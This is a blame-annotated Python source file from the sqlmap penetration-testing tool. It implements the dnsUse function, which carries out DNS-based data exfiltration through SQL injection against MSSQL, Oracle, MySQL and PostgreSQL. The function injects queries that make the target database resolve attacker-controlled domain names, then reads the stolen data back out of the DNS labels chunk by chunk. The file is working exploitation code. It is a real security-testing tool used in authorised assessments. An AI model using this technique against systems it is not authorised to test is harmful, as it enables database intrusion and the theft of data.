2013-02-14 15:32:17 +04:00
|
|
|
#!/usr/bin/env python
|
2012-03-27 22:59:12 +04:00
|
|
|
|
|
|
|
"""
|
2016-01-06 02:06:12 +03:00
|
|
|
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
2012-03-27 22:59:12 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
|
|
|
"""
|
|
|
|
|
2012-04-02 18:05:30 +04:00
|
|
|
import re
|
|
|
|
import time
|
|
|
|
|
2012-04-03 14:18:03 +04:00
|
|
|
from extra.safe2bin.safe2bin import safecharencode
|
2012-04-02 18:05:30 +04:00
|
|
|
from lib.core.agent import agent
|
|
|
|
from lib.core.common import Backend
|
|
|
|
from lib.core.common import calculateDeltaSeconds
|
|
|
|
from lib.core.common import dataToStdout
|
|
|
|
from lib.core.common import decodeHexValue
|
|
|
|
from lib.core.common import extractRegexResult
|
2012-07-10 03:19:32 +04:00
|
|
|
from lib.core.common import getSQLSnippet
|
2012-04-02 18:05:30 +04:00
|
|
|
from lib.core.common import hashDBRetrieve
|
|
|
|
from lib.core.common import hashDBWrite
|
|
|
|
from lib.core.common import randomInt
|
|
|
|
from lib.core.common import randomStr
|
|
|
|
from lib.core.common import safeStringFormat
|
|
|
|
from lib.core.common import singleTimeWarnMessage
|
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
|
|
|
from lib.core.data import queries
|
|
|
|
from lib.core.enums import DBMS
|
2012-07-01 03:19:54 +04:00
|
|
|
from lib.core.settings import DNS_BOUNDARIES_ALPHABET
|
2012-04-02 18:05:30 +04:00
|
|
|
from lib.core.settings import MAX_DNS_LABEL
|
|
|
|
from lib.core.settings import PARTIAL_VALUE_MARKER
|
|
|
|
from lib.core.unescaper import unescaper
|
|
|
|
from lib.request.connect import Connect as Request
|
|
|
|
|
2012-04-04 16:42:58 +04:00
|
|
|
|
2012-04-02 18:05:30 +04:00
|
|
|
def dnsUse(payload, expression):
|
2012-03-27 22:59:12 +04:00
|
|
|
"""
|
|
|
|
Retrieve the output of a SQL query taking advantage of the DNS
|
|
|
|
resolution mechanism by making request back to attacker's machine.
|
|
|
|
"""
|
|
|
|
|
2012-04-02 18:05:30 +04:00
|
|
|
start = time.time()
|
|
|
|
|
|
|
|
retVal = None
|
|
|
|
count = 0
|
|
|
|
offset = 1
|
|
|
|
|
2012-07-24 17:34:50 +04:00
|
|
|
if conf.dnsName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
|
2012-04-02 18:05:30 +04:00
|
|
|
output = hashDBRetrieve(expression, checkConf=True)
|
2012-04-04 16:27:24 +04:00
|
|
|
|
2012-04-03 13:18:30 +04:00
|
|
|
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
|
2012-04-02 18:05:30 +04:00
|
|
|
output = None
|
|
|
|
|
|
|
|
if output is None:
|
|
|
|
kb.dnsMode = True
|
|
|
|
|
|
|
|
while True:
|
|
|
|
count += 1
|
2012-07-01 03:19:54 +04:00
|
|
|
prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2))
|
2012-04-07 18:06:11 +04:00
|
|
|
chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2
|
2012-04-02 18:05:30 +04:00
|
|
|
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
|
|
|
|
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
|
|
|
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
|
|
|
|
nulledCastedField = agent.hexConvertField(nulledCastedField)
|
|
|
|
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
|
|
|
|
2012-07-24 17:34:50 +04:00
|
|
|
expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsName)
|
2013-01-18 18:40:37 +04:00
|
|
|
expressionUnescaped = unescaper.escape(expressionRequest)
|
2012-04-02 18:05:30 +04:00
|
|
|
|
2012-04-07 18:06:11 +04:00
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
|
2012-04-02 18:57:15 +04:00
|
|
|
query = agent.prefixQuery("; %s" % expressionUnescaped)
|
2013-12-26 01:18:57 +04:00
|
|
|
query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
|
2012-04-02 18:57:15 +04:00
|
|
|
forgedPayload = agent.payload(newValue=query)
|
|
|
|
else:
|
|
|
|
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
|
2012-05-28 18:51:23 +04:00
|
|
|
|
2012-04-02 18:57:15 +04:00
|
|
|
Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)
|
2012-04-02 18:05:30 +04:00
|
|
|
|
|
|
|
_ = conf.dnsServer.pop(prefix, suffix)
|
2012-04-04 16:27:24 +04:00
|
|
|
|
2012-04-02 18:05:30 +04:00
|
|
|
if _:
|
|
|
|
_ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
|
|
|
|
_ = decodeHexValue(_)
|
|
|
|
output = (output or "") + _
|
|
|
|
offset += len(_)
|
2012-04-04 16:27:24 +04:00
|
|
|
|
2012-04-02 18:05:30 +04:00
|
|
|
if len(_) < chunk_length:
|
|
|
|
break
|
|
|
|
else:
|
|
|
|
break
|
|
|
|
|
2014-06-27 16:14:29 +04:00
|
|
|
output = decodeHexValue(output) if conf.hexConvert else output
|
|
|
|
|
2012-04-02 18:05:30 +04:00
|
|
|
kb.dnsMode = False
|
|
|
|
|
|
|
|
if output is not None:
|
|
|
|
retVal = output
|
2012-04-04 16:27:24 +04:00
|
|
|
|
2012-04-03 13:18:30 +04:00
|
|
|
if kb.dnsTest is not None:
|
2014-10-01 15:59:51 +04:00
|
|
|
dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
|
2012-04-04 16:27:24 +04:00
|
|
|
|
2012-04-03 13:18:30 +04:00
|
|
|
if count > 0:
|
|
|
|
hashDBWrite(expression, output)
|
2012-04-02 18:05:30 +04:00
|
|
|
|
|
|
|
if not kb.bruteMode:
|
2013-05-28 16:40:45 +04:00
|
|
|
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
|
2012-04-02 18:05:30 +04:00
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
2012-07-24 17:34:50 +04:00
|
|
|
elif conf.dnsName:
|
2012-04-02 18:05:30 +04:00
|
|
|
warnMsg = "DNS data exfiltration method through SQL injection "
|
|
|
|
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
|
|
|
|
singleTimeWarnMessage(warnMsg)
|
|
|
|
|
2012-04-03 14:18:03 +04:00
|
|
|
return safecharencode(retVal) if kb.safeCharEncode else retVal
|